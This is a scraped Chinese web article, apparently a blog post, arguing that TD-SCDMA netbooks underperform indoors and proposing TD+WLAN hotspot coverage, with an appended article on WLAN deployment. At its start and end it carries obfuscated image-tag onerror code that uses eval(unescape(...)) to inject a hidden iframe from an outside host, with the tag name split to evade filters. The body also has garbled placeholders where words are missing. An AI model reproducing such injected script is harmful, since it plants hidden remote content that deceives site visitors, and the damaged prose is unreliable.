0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_250_250.html%20width%3D250%20height%3D250%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

当中移动将上网本作为3G网络的主推业务时，许多业界人士无不困惑:TD上网本真的有优势吗? 答案显然是无法肯定，我们不妨从各个角度进行分析。

首先，TD-HSDPA小区下载峰值速率和小区极限流量要赶超WCDMA和CDMA2000EV/DO的可能性是微乎其微，原因有二个：其一、大家知道当前TD的主要设备商(如华为和中兴等)一般都是即生中TD设备也生产其他二制式的设备，这之间的技术互相渗透是再正常不过的事，已失先机的TD设备，要想异军突起简直是不可思议的事情。其二、就技术而言，TD从根本上也还是基于CDMA技术，在当前智能天线和联合检测技术还不是特别成熟的情况下，TD制式在技术上并没有超越其他二大制式。

其次， TD有哪些特点?众所周知，TD{zd0}优势在于频谱利用率高，这是不争的事实，这是TD的魅力所在。但是TD类似于GSM的时分覆用技术给TD带来了频谱利用率高的优点外，也让TD刻下了穿透性能差的终身烙印。测试过TD信号的人都有这样的感觉，TD的室内信号太弱了(这里是指不做室内覆盖的情况)。

总之，以当前TD设备的现状，即使每一栋高楼都做室内覆盖，也难以保证热点区域的用户需求(当前TD小区{zd0}配置一般只能做到6载波)。

难道TD真的就无所作为了吗?本人认为TD+WLAN是时候了。让TD+WLAN双层网络来保证热点区域，甚至用成本较低的WLAN为一般室内提供无线宽带也是可取的。首先，这儿有成功的案例：中国移动厦门分公司在做厦门校园覆盖时，将TD-HSDPA网络作为主体网络，以WLAN网络覆盖方式对于宿舍、图书馆等室内热点地区进行辅助补充。厦门公司在这方面获得了较大成功。其次，早在今年年初就有《3G时代的WLAN建设》的较专业WLAN建设的文章，呼吁将WLAN作为TD有效补充，文章附后。

文章中提到了WLAN频点有限仅三个，在当前竞争异常激烈的电信市场，可能有许多地方WLAN的频点早已被其他运营商占领，这确实是制约TD+WLAN发展的一大难题。本人认为可以通过以下的方式解决：TD主要特点是频谱利用率高和穿透性能差，我们可以利用这二大特点。频谱利用率高，我国给TD预留的频段达155M ，TD频率资源丰富;穿透性不强，不做室内覆盖的在楼内TD信号十分微弱，因此是否可以考虑在部份室内覆盖定制TD频段的WLAN设备呢?这里给WLAN的频点xx可是TD的A或C频段中的少许频点，总之不要与现网B频段的TD同邻频即可。让TD和WLAN穿透性差的缺点转化为优点。(注：再说这个先河已经有人先开了，电信不是在2G的800M频段启用了EV/DO等3.5G的玩意吗?我们也不过是变通而已，一切为了国产的TD产业、一切为了用户嘛!)

值得一提的是，假如 TD+WLAN将来在大范围采用，中移动应及早定制支持相关业务的终端和上网卡(当前中移动这一块还是空白，倒是中国电信的许多上网卡均带有WLAN上网功能)。

可见高举TD大旗，充分发挥和利用好TD的优势，在3G时代，中移动同样有再创辉煌的本钱。

附文：《3G时代的WLAN建设》

作 者：易之

昨天是新年{dy}天，通过{yt}的小会大会，得到两个讯息：WLAN建设不一定马上开展，其建设情况视TD的发展而定，若TD不行，再进行WLAN建设作为TD补充;TD-HSDPA的实际速率每秒500k，{zg}900k，远低于WCDMA的2M，而其HSDPA{zg}可达10M!回去之后，辗转反侧，决定还是写点东西，希望能对决策者有所帮助，因为WLAN建设错过了想买后悔药都没地方。

WLAN标准从802.11a按字母表顺序排到V，标准之多，产品更新之快另人目不接暇。也正因为这个原因，我们迫切需要同研发能力、产品更新能力超强的公司合作。只有这样，才能保证软件能及时升级，硬件能够平滑过渡。802.11g的实际数据传输速率能达22M左右，11n据说比11g快10倍左右。我们可以在人们聚会休闲等场所布置WLAN，推出TD+WLAN终端，弥补TD较之于WCDMA的速率短板。

由于频点限制，WLAN建设同一地点一张网最多用3个频点。若要建第二张WLAN网，很容易碰到同频邻频干扰，网络质量难以保证。因此WLAN建设就是占山为王，谁先建设，谁就占领了制高点。而电信现正在全力的攻城略地，我们每晚一步建设，就丢失了一大片领地。真希望能尽早开展WLAN热点地区的建设。

制式方面，个人意见不要用兼容11b的11g产品。11b的网卡拥有者一般都是低端用户，不希望花钱的人，现在新的网卡手机都支持11g、11n。另一方面，假如开启11b兼容模式，整个AP的传输速率马上全被拉下来，损害的将是同一AP下的xx客户。电信目前采用108.11g标准建设，并要求产品能兼容WAPI，我们至少不能输给对手。为减低建设成本，已建有GSM室内分布的地点，尽量采用合路建设模式;没有GSM室分的，可采用POE供电，减少AP安装和维护工程量。对于室内布线比较困难的地点，可采用WLAN 家族的mesh产品(802.11s)，而且假如室内连产品不便安装，可将mesh安装在外墙或建筑物周围基站或其它物体上，并采用定向带倾角的天线将信号打过去。

建设策略方面，一般地点可采用11g产品。对于电信等已经建设的地点，可攻其薄弱。如是否带WAPI的，若没有，那我们就打动业主建一个xxx的网络。若已有WAPI的，并且此处是热点中的热点，且用户对宽带和移动性需求非常大，不妨建11n+WAPI网络，以xxx更快取胜。

现在担心的是11n和11s产品标准还没{zh1}定稿，不过有实力的大厂家现都能提供准标准产品并能保证免费升级到标准级。再者，11n由于采用了TD类似的MIMO智能天线，一个AP有4副天线，不适合于现网合路建设。至于能否同TD室内分布合路还有待于厂家的研发支持。而mesh产品的速率、xxx等参数还有待进一步确认。

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zw_468_60.html%20width%3D468%20height%3D60%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">